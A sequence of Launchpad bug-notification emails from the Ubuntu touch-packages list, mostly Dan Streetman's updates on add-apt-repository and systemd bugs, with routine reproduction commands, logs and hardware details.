  dmi.board.vendor: Hewlett-Packard
  dmi.chassis.type: 6
  dmi.chassis.vendor: Hewlett-Packard
  dmi.modalias: 
dmi:bvnHewlett-Packard:bvrJ01v02.15:bd11/10/2011:br2.15:svnHewlett-Packard:pnHPCompaq6200ProMTPC:pvr:rvnHewlett-Packard:rn1497:rvr:cvnHewlett-Packard:ct6:cvr:
  dmi.product.family: 103C_53307F G=D
  dmi.product.name: HP Compaq 6200 Pro MT PC
  dmi.product.sku: XL504AV
  dmi.sys.vendor: Hewlett-Packard
  mtime.conffile..etc.systemd.resolved.conf: 2021-02-15T19:09:12.129281

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/resolvconf/+bug/1915746/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1160048] Re: add-apt-repository won't uncomment a commented-out source

[Dan Streetman]

fixed when using add-apt-repository since groovy

** Changed in: software-properties (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1160048

Title:
  add-apt-repository won't uncomment a commented-out source

Status in software-properties package in Ubuntu:
  Fix Released

Bug description:
  Assume you're frequently testing software, so you add, remove (purge)
  and re-add PPAs.

  sudo add-apt-repository ppa:someteam/ppa
  sudo apt-get uppdate
  sudo apt-get install someprogram

  ... time passes and you no longer need that program, or wish to test
  your system without it ..

  sudo ppa-purge ppa:someteam/ppa

  This will remove the ppa by commenting out the "deb ..." line in the
  sources file in /etc/apt/sources.list.d

  Later, you need to do more testing of the app or some other app from
  the same ppa so you re-add it:-

  sudo add-apt-repository ppa:someteam/ppa

  However, this does _not_ add the PPA because the line/file already
  exists, albeit with a # in front of the "deb ...".

  Some might argue that it is the fault of ppa-purge for commenting the
  line out. I disagree. I believe ppa-purge _should_ comment out the
  "deb ..." line because sometimes you want to go back to the file to
  remind yourself what the ppa was that you got something from, or to
  just manually re-enable it.

  Given the single role of add-apt-repository is to add a ppa, I'd
  conclude it's add-apt-repository which is broken, given it doesn't add
  one in this common scenario.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: software-properties-common 0.92.17
  ProcVersionSignature: Ubuntu 3.8.0-14.24-generic 3.8.4
  Uname: Linux 3.8.0-14-generic x86_64
  ApportVersion: 2.9.2-0ubuntu4
  Architecture: amd64
  Date: Mon Mar 25 21:39:42 2013
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2012-06-29 (269 days ago)
  InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 
(20120425)
  MarkForUpload: True
  PackageArchitecture: all
  SourcePackage: software-properties
  UpgradeStatus: Upgraded to raring on 2013-01-18 (66 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1160048/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1717522] Re: add-apt-repository --remove & software-properties-gtk do not delete PPA files

[Dan Streetman]

this has been fixed in g and later.

** Changed in: software-properties (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1717522

Title:
  add-apt-repository --remove & software-properties-gtk  do not delete
  PPA files

Status in software-properties package in Ubuntu:
  Fix Released

Bug description:

  When removing a ppa with software-properties-gtk or with :

  `sudo add-apt-repository --remove ppa:xxx/yyy
  `

  it merely empties the file one wants to remove and leaves an empty 
theuglyppa.list file in `/etc/apt/sources.list.d/` 
  This seem quite illogical to keep such residue especially for newbies who 
won't know that they should add :

  `sudo rm /etc/apt/sources.list.d/theuglyppa.list*
  `

  to their cleaning procedure.

  Could the removal actually remove ?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1717522/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1717522] Re: add-apt-repository --remove & software-properties-gtk do not delete PPA files

[Dan Streetman]

> this has been fixed in g and later.

i should clarify, it's fixed when using add-apt-repository. software-
properties-gtk goes through a different path I believe, not sure if it
still leaves the empty file.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1717522

Title:
  add-apt-repository --remove & software-properties-gtk  do not delete
  PPA files

Status in software-properties package in Ubuntu:
  Fix Released

Bug description:

  When removing a ppa with software-properties-gtk or with :

  `sudo add-apt-repository --remove ppa:xxx/yyy
  `

  it merely empties the file one wants to remove and leaves an empty 
theuglyppa.list file in `/etc/apt/sources.list.d/` 
  This seem quite illogical to keep such residue especially for newbies who 
won't know that they should add :

  `sudo rm /etc/apt/sources.list.d/theuglyppa.list*
  `

  to their cleaning procedure.

  Could the removal actually remove ?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1717522/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915840] [NEW] add-apt-repository does not remove URI if dist is different from local dist

[Dan Streetman]

Public bug reported:

if a configured repository has a 'dist' value different from the local
system's codename, add-apt-repository will not remove it.

For example, if this line is currently configured:

deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main

It will not be removed with the command:

sudo add-apt-repository -r -U http://dl.google.com/linux/chrome/deb/

** Affects: software-properties (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1915840

Title:
  add-apt-repository does not remove URI if dist is different from local
  dist

Status in software-properties package in Ubuntu:
  New

Bug description:
  if a configured repository has a 'dist' value different from the local
  system's codename, add-apt-repository will not remove it.

  For example, if this line is currently configured:

  deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main

  It will not be removed with the command:

  sudo add-apt-repository -r -U http://dl.google.com/linux/chrome/deb/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1915840/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915553] [NEW] add-apt-repository won't remove ppa if ppa has been deleted

[Dan Streetman]

Public bug reported:

If a ppa is added to the system, and then the ppa is deleted, add-apt-
repository fails to remove it, e.g.:

$ sudo add-apt-repository -r ppa:ubuntu-support-team/add-apt-repository
ERROR: ppa 'ubuntu-support-team/add-apt-repository' not found (use --login if 
private)

the script should remove the source.list entry, which can be calculated
even if the ppa doesn't exist anymore.

** Affects: software-properties (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1915553

Title:
  add-apt-repository won't remove ppa if ppa has been deleted

Status in software-properties package in Ubuntu:
  New

Bug description:
  If a ppa is added to the system, and then the ppa is deleted, add-apt-
  repository fails to remove it, e.g.:

  $ sudo add-apt-repository -r ppa:ubuntu-support-team/add-apt-repository
  ERROR: ppa 'ubuntu-support-team/add-apt-repository' not found (use --login if 
private)

  the script should remove the source.list entry, which can be
  calculated even if the ppa doesn't exist anymore.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1915553/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915314] Re: systemd-xdg-autostart-generator: gnome-systemd-autostart-condition not found: No such file or directory

[Dan Streetman]

The 'fix' is to simply lower those log messages to debug level so you
don't see them anymore; as such, I don't really see a need to sru that
to 20.10.

** Bug watch added: Debian Bug tracker #968116
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968116

** Also affects: systemd (Debian) via
   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968116
   Importance: Unknown
   Status: Unknown

** Also affects: systemd (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu)
   Status: New => Fix Released

** Changed in: systemd (Ubuntu Groovy)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1915314

Title:
  systemd-xdg-autostart-generator: gnome-systemd-autostart-condition not
  found: No such file or directory

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Groovy:
  Won't Fix
Status in systemd package in Debian:
  Unknown

Bug description:
  Hi,

  in the kernel logs I see several error messages such as those:

  # dmesg | grep gnome-systemd-autostart-condition
  [   37.704325] systemd-xdg-autostart-generator[2387]: 
gnome-systemd-autostart-condition not found: No such file or directory
  [   37.704421] systemd-xdg-autostart-generator[2387]: 
gnome-systemd-autostart-condition not found: No such file or directory
  [   37.704548] systemd-xdg-autostart-generator[2387]: 
gnome-systemd-autostart-condition not found: No such file or directory
  [   37.705007] systemd-xdg-autostart-generator[2387]: 
gnome-systemd-autostart-condition not found: No such file or directory
  [   37.705094] systemd-xdg-autostart-generator[2387]: 
gnome-systemd-autostart-condition not found: No such file or directory

  It seems that gnome-systemd-autostart-condition is not available
  anywhere in Ubuntu.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.10
  Package: systemd 246.6-1ubuntu1.1
  Uname: Linux 5.10.15-051015-lowlatency x86_64
  ApportVersion: 2.20.11-0ubuntu50.5
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: KDE
  Date: Wed Feb 10 19:58:30 2021
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 003: ID 0bda:58f6 Realtek Semiconductor Corp. 
Integrated_Webcam_HD
   Bus 001 Device 002: ID 046d:c03e Logitech, Inc. Premium Optical Wheel Mouse 
(M-BT58)
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Dell Inc. Latitude 5590
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.15-051015-lowlatency 
root=/dev/mapper/MonVolume2-UbuntuRacine ro vsyscall=none security=apparmor 
quiet splash vt.handoff=7
  RebootRequiredPkgs:
   linux-base
   linux-base
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/21/2020
  dmi.bios.release: 1.16
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.16.0
  dmi.board.name: 0VYDFF
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.16.0:bd10/21/2020:br1.16:svnDellInc.:pnLatitude5590:pvr:rvnDellInc.:rn0VYDFF:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: Latitude
  dmi.product.name: Latitude 5590
  dmi.product.sku: 0817
  dmi.sys.vendor: Dell Inc.
  modified.conffile..etc.systemd.resolved.conf: [modified]
  mtime.conffile..etc.systemd.resolved.conf: 2020-10-25T12:26:20.218696

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1915314/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1914928] Re: GenericReceiveOffload in .link file ignored by systemd-networkd

[Dan Streetman]

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1914928

Title:
  GenericReceiveOffload in .link file ignored by systemd-networkd

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  All of the following match options:

  
  [Match]
  #Type=vxlan
  #Driver=vxlan
  Path=*

  [Link]
  GenericReceiveOffload=off
  

  lead to:

  ethtool -k vxlan2009 |grep generic-receive
  generic-receive-offload: on

  I would expect the the option to be off.

  
  IDX LINK   TYPE OPERATIONAL SETUP 
1 lo loopback carrier unmanaged 
   25 vxlan2009  vxlancarrier configured
   26 vxlan2009.0099 vlan carrier configured

  
  vxlan2009.netdev:
  [NetDev]
  Name=vxlan2009
  Kind=vxlan
  MTUBytes=8950

  [VXLAN]
  Id=2009
  Group=239.1.1.43
  MacLearning=1
  DestinationPort=4789

  vxlan2009.network:
  [Match]
  Name = vxlan2009

  [Link]
  MTUBytes = 8950

  [Network]
  VLAN=vxlan2009.0099
  DHCP = no
  LinkLocalAddressing = no

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.4
  ProcVersionSignature: Ubuntu 5.4.0-65.73-generic 5.4.78
  Uname: Linux 5.4.0-65-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.16
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Sun Feb  7 13:47:30 2021
  MachineType: QEMU Standard PC (Q35 + ICH9, 2009)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-65-generic 
root=UUID=97786d27-c04a-4592-a087-f19a689468a9 ro console=tty1 console=ttyS0
  SourcePackage: systemd
  UpgradeStatus: Upgraded to focal on 2020-08-27 (163 days ago)
  dmi.bios.date: 04/01/2014
  dmi.bios.vendor: SeaBIOS
  dmi.bios.version: rel-1.13.0-48-gd9c812dda519-prebuilt.qemu.org
  dmi.chassis.type: 1
  dmi.chassis.vendor: QEMU
  dmi.chassis.version: pc-q35-5.1
  dmi.modalias: 
dmi:bvnSeaBIOS:bvrrel-1.13.0-48-gd9c812dda519-prebuilt.qemu.org:bd04/01/2014:svnQEMU:pnStandardPC(Q35+ICH9,2009):pvrpc-q35-5.1:cvnQEMU:ct1:cvrpc-q35-5.1:
  dmi.product.name: Standard PC (Q35 + ICH9, 2009)
  dmi.product.version: pc-q35-5.1
  dmi.sys.vendor: QEMU

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1914928/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881947] Re: Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function main(). Aborting.

[Dan Streetman]

** Changed in: systemd (Ubuntu Hirsute)
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881947

Title:
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

Status in systemd:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Focal:
  Fix Released
Status in systemd source package in Groovy:
  Fix Released
Status in systemd source package in Hirsute:
  Fix Released

Bug description:
  [Impact]

   * Autopkgtest fails due to corrupted journal file

  [Test Case]

   * Observe autopkgtest root-unittests not failing with:

  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

  [Where problems could occur]

   * The change has no impact on the systemd binary packages. The
  relaxed test could hide a journal corruption problem, but it seems the
  corrupted journal files occur only on arm64 probably due to arm64
  reboots being resets: LP: #1748280.

  [Original Bug Text]

  Observed in an focal/arm64 autopkgtest failure of systemd 245.4-4ubuntu3.1:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20200603_071743_738b2@/log.gz

  [...]
  PASS: test-journal-enum
  == test-journal-flush ===
  Root directory /var/log/journal removed.
  Directory /var/log/journal/3286b2469d224077b1026d239d625b0d removed.
  mmap cache statistics: 739 hit, 5 miss
  journal_file_copy_entry failed: Bad message
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function 
main(). Aborting.
  FAIL: test-journal-flush (code: 134)
  Aborted (core dumped)
  == test-journal-importer ===
  [...]
  autopkgtest [07:17:29]:  summary
  timedatedPASS
  hostnamedPASS
  localed-locale   PASS
  localed-x11-keymap   PASS
  logind   PASS
  unit-config  PASS
  storage  PASS
  networkd-test.py PASS
  build-login  PASS
  boot-and-servicesPASS
  udev PASS
  root-unittests   FAIL non-zero exit status 134
  upstream PASS
  boot-smoke   PASS
  systemd-fsckdPASS
  Exit request sent.
  [...]

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1881947/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1907306] Re: networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

[Dan Streetman]

** Changed in: systemd (Ubuntu Hirsute)
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1907306

Title:
  networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Focal:
  Fix Released
Status in systemd source package in Groovy:
  Fix Released
Status in systemd source package in Hirsute:
  Fix Released

Bug description:
  [impact]

  networkd dhcpv4 client never attempts more than 2 renew and 2 rebind

  [test case]

  configure an interface to use dhcpv4; acquire a dhcpv4 address, then
  stop the dhcpv4 server, and wait for the networkd client to perform
  its renewals and rebinds before expiring the lease

  using a 20 minute lease time as an example (all times are approximate
  due to RFC-mandated random 'fuzz' time of -1 to +1 sec):

  the current behavior would be to sent renew requests at:

  10:00
  13:45

  and then rebind requests at:

  17:30
  18:45

  then the lease would expire at 20:00

  the correct/new behavior should be renew requests at:

  10:00
  13:45
  15:37
  16:37

  and then rebind requests at:

  17:30
  18:45
  19:45

  and then lease expiration at 20:00.

  longer lease times would increase the number of retransmissions.

  [regression potential]

  any regression would likely result in problems receiving and/or
  maintaining a dhcpv4 address

  [scope]

  this is needed in b/f/g/h.

  this was fixed upstream in:
  https://github.com/systemd/systemd/pull/17908

  that was just added, so this is not fixed in any ubuntu release yet.

  technically, this is needed in x as well, however I don't plan to
  backport to x since 1) it reaches ESM soon and 2) the default network
  management tool in x is ifupdown, not systemd-networkd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1907306/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1913629] Re: adduser: \/usr/bin/chfn -f systemd Time Synchronization systemd-timesync' returned error code 1. Exiting.`

[Dan Streetman]

I tried to reproduce this but it didn't fail for me, however a quick search 
seems to indicate this might be a problem not with systemd, but with pam, e.g.:
https://github.com/proot-me/PRoot/issues/156#issuecomment-735011266

As you're using 18.04, which includes pam 1.1.8, the problem may be
fixed for you if you try on a 20.04 system, which includes pam 1.3.1.

If that works, then there is likely some patch needed to be backported
to pam in bionic.

** Bug watch added: github.com/proot-me/PRoot/issues #156
   https://github.com/proot-me/PRoot/issues/156

** Package changed: systemd (Ubuntu) => pam (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1913629

Title:
  adduser: \/usr/bin/chfn -f systemd Time Synchronization systemd-
  timesync' returned error code 1. Exiting.`

Status in pam package in Ubuntu:
  New

Bug description:
  Hello to everyone.

  Actually I'm trying to run X86 applications on my Jetson Nano using
  qemu and debootstrapping debian 9 on ubuntu 18.04 for arm64,but it
  seems that an old bug that it seems to be fixed here but it's not :

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=745082

  This is what I did to achieve my goal :

  sudo apt-get update
  apt-get install qemu qemu-user qemu-user-static binfmt-support debootstrap 
binutils
  debootstrap --foreign --arch i386 stretch ./chroot-stretch-i386/

  and this is what happens :

  http://ftp.us.debian.org/debian
  W: Cannot check Release signature; keyring file not available 
/usr/share/keyrings/debian-archive-keyring.gpg
  I: Retrieving InRelease
  I: Retrieving Release
  I: Retrieving Packages
  I: Validating Packages
  I: Resolving dependencies of required packages...
  I: Resolving dependencies of base packages...
  I: Found additional required dependencies: libaudit-common libaudit1 
libbz2-1.0 libcap-ng0 libdb5.3 libdebconfclient0 libgcrypt20 libgpg-error0 
liblz4-1 libncursesw5 libsemanage-common libsemanage1 libsystemd0 libudev1 
libustr-1.0-1
  I: Found additional base dependencies: dmsetup gnupg-agent libapparmor1 
libassuan0 libbsd0 libcap2 libcryptsetup4 libdevmapper1.02.1 libdns-export162 
libelf1 libfastjson4 libffi6 libgmp10 libgnutls30 libhogweed4 libidn11 
libidn2-0 libip4tc0 libip6tc0 libiptc0 libisc-export160 libksba8 
liblocale-gettext-perl liblognorm5 libmnl0 libncurses5 libnetfilter-conntrack3 
libnettle6 libnfnetlink0 libnpth0 libp11-kit0 libpsl5 libseccomp2 libsqlite3-0 
libtasn1-6 libtext-charwidth-perl libtext-iconv-perl libtext-wrapi18n-perl 
libunistring0 libxtables12 pinentry-curses xxd
  I: Checking component main on http://ftp.us.debian.org/debian...
  I: Retrieving libacl1 2.2.52-3+b1
  .
  I: Extracting zlib1g...

  At this point I've mounted the partitions :

  sudo mount -t sysfs /sys/ ./chroot-stretch-i386/sys/
  sudo mount -t proc /proc/ ./chroot-stretch-i386/proc/
  sudo mount --bind /dev ./chroot-stretch-i386/dev/
  sudo mount --bind /dev/pts ./chroot-stretch-i386/dev/pts/
  sudo mount --bind /dev/shm ./chroot-stretch-i386/dev/shm/

  
  and I've copied the qemu static on the chrooted debian i386 folder :

  
  cp /usr/bin/qemu-i386-static ./chroot-stretch-i386/usr/bin

  
  and I've started the second stage of debootstrap :

  
  root@ziomario-desktop:~/Scrivania/qemu-x86# sudo chroot 
./chroot-stretch-i386/ /debootstrap/debootstrap --second-stage

  at some point this is what happens :

  libc6 is not installed ; libdebconfclient0 is not installed ; awk is not 
installed ; libbz2-1.0 is not installed ; libc6 is not installed ; liblzma5 is 
not installed ;
  libselinux1 is not installed ; zlib1g is not installed ; tar is not installed 
; libgcc1 is not installed ; dash is not installed ; libtinfo5 is not installed 
; libblkid1 is not installed ; libcomerr2 is not installed ; libss2 is not 
installed ; libuuid1 is not installed ; util-linux is not installed ; libpcre3 
is not installed ; libpam0g is not installed ; libpam-modules-bin is not 
installed.

  Adding group \systemd-journal' (GID 101) ...`

  Done.

  at this point I saw the error that should have been fixed :

  chfn: PAM: System error

  adduser: \/usr/bin/chfn -f systemd Time Synchronization systemd-
  timesync' returned error code 1. Exiting.`

  dpkg: error processing package systemd (--install):

  subprocess installed post-installation script returned error exit
  status 1

  Processing triggers for libc-bin (2.24-11+deb9u4) ...

  Errors were encountered while processing:

  systemd

  
  W: Failure trying to run: dpkg --force-overwrite --force-confold 
--skip-same-version --install /var/cache/apt/archives/adduser_3.115_all.deb 
/var/cache/apt/archives/libapparmor1_2.11.0-3+deb9u2_i386.deb 
/var/cache/apt/archives/libcryptsetup4_2%3a1.7.3-4_i386.deb 
/var/cache/apt/archives/libip4tc0_1.6.0+snapshot20161117-6_i386.deb 
/var/cache/apt/archives/libkmod2_23-2_i386.deb 

[Touch-packages] [Bug 1913601] [NEW] add-apt-repository does not correctly enable sources

[Dan Streetman]

Public bug reported:

[impact]

'add-apt-repository -s' should enable deb-src for all existing repos,
but doesn't

[test case]

root@sp-g:~# add-apt-repository -sL
deb http://archive.ubuntu.com/ubuntu groovy restricted universe multiverse main
deb http://archive.ubuntu.com/ubuntu groovy-updates restricted universe 
multiverse main
deb http://archive.ubuntu.com/ubuntu groovy-backports restricted universe 
multiverse main
deb http://security.ubuntu.com/ubuntu groovy-security restricted universe 
multiverse main
root@sp-g:~# add-apt-repository -s
Enabling deb-src for all repositories.
Press [ENTER] to continue or Ctrl-c to cancel.
Enabled: None
Enabled: None
Enabled: deb-src http://archive.ubuntu.com/ubuntu groovy-backports multiverse 
universe restricted main
Enabled: deb-src http://archive.canonical.com/ubuntu groovy partner
Enabled: None
Hit:1 http://security.ubuntu.com/ubuntu groovy-security InRelease
Get:2 http://security.ubuntu.com/ubuntu groovy-security/universe Sources [6608 
B]
Hit:3 http://archive.ubuntu.com/ubuntu groovy InRelease 
Hit:4 http://archive.ubuntu.com/ubuntu groovy-updates InRelease 
Hit:5 http://archive.ubuntu.com/ubuntu groovy-backports InRelease
Get:6 http://archive.ubuntu.com/ubuntu groovy/multiverse Sources [279 kB]
Get:7 http://archive.ubuntu.com/ubuntu groovy/universe Sources [16.3 MB]
Get:8 http://archive.canonical.com/ubuntu groovy InRelease [11.4 kB]
Get:9 http://archive.ubuntu.com/ubuntu groovy-updates/multiverse Sources [3124 
B]
Get:10 http://archive.ubuntu.com/ubuntu groovy-updates/universe Sources [19.0 
kB]
Get:11 http://archive.ubuntu.com/ubuntu groovy-backports/universe Sources [2004 
B] 
Get:12 http://archive.canonical.com/ubuntu groovy/partner Sources [720 B]   
 
Fetched 16.6 MB in 6s (2884 kB/s)  
Reading package lists... Done
root@sp-g:~# add-apt-repository -sL
deb http://archive.ubuntu.com/ubuntu groovy multiverse restricted main universe
deb-src http://archive.ubuntu.com/ubuntu groovy multiverse universe
deb http://archive.ubuntu.com/ubuntu groovy-updates multiverse restricted main 
universe
deb-src http://archive.ubuntu.com/ubuntu groovy-updates multiverse universe
deb http://archive.ubuntu.com/ubuntu groovy-backports multiverse restricted 
main universe
deb-src http://archive.ubuntu.com/ubuntu groovy-backports multiverse restricted 
main universe
deb-src http://archive.canonical.com/ubuntu groovy partner
deb http://security.ubuntu.com/ubuntu groovy-security multiverse restricted 
main universe
deb-src http://security.ubuntu.com/ubuntu groovy-security multiverse universe

[regression potential]

any regression would likely cause add-apt-repository to incorrectly
update the apt sources.list and/or sources.list.d file(s), most likely
when modifying the deb-src lines

[scope]

this is needed in g and later

the --enable-source parameter in focal and earlier could only be used
with a specific repo to be modified, so this is not applicable to f or
earlier

** Affects: software-properties (Ubuntu)
 Importance: Medium
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Affects: software-properties (Ubuntu Groovy)
 Importance: Medium
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Affects: software-properties (Ubuntu Hirsute)
 Importance: Medium
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Also affects: software-properties (Ubuntu Hirsute)
   Importance: Undecided
   Status: New

** Also affects: software-properties (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Changed in: software-properties (Ubuntu Groovy)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: software-properties (Ubuntu Hirsute)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: software-properties (Ubuntu Hirsute)
   Importance: Undecided => Medium

** Changed in: software-properties (Ubuntu Groovy)
   Importance: Undecided => Medium

** Changed in: software-properties (Ubuntu Hirsute)
   Status: New => In Progress

** Changed in: software-properties (Ubuntu Groovy)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1913601

Title:
  add-apt-repository does not correctly enable sources

Status in software-properties package in Ubuntu:
  In Progress
Status in software-properties source package in Groovy:
  In Progress
Status in software-properties source package in Hirsute:
  In Progress

Bug description:
  [impact]

  'add-apt-repository -s' should enable deb-src for all existing repos,
  but doesn't

  [test case]

  root@sp-g:~# add-apt-repository -sL
  deb http://archive.ubuntu.com/ubuntu groovy restricted universe multiverse 
main
  deb http://archive.ubuntu.com/ubuntu groovy-updates r

[Touch-packages] [Bug 1830955] Re: Systemd removes OpenVPN IP addresses

[Dan Streetman]

** Changed in: systemd (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1830955

Title:
  Systemd removes OpenVPN IP addresses

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  This is probably related to,  but not a duplicate of, bug 1815101.
  Running

  root@third:/home/leroy# lsb_release -rd
  Description:Ubuntu 18.04.2 LTS
  Release:18.04

  Systemd version:

  root@third:/home/leroy# apt-cache policy systemd
  systemd:
Installed: 237-3ubuntu10.21
Candidate: 237-3ubuntu10.21
Version table:
   *** 237-3ubuntu10.21 500
  500 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 
Packages
  100 /var/lib/dpkg/status
   237-3ubuntu10.19 500
  500 http://security.ubuntu.com/ubuntu bionic-security/main amd64 
Packages
   237-3ubuntu10 500
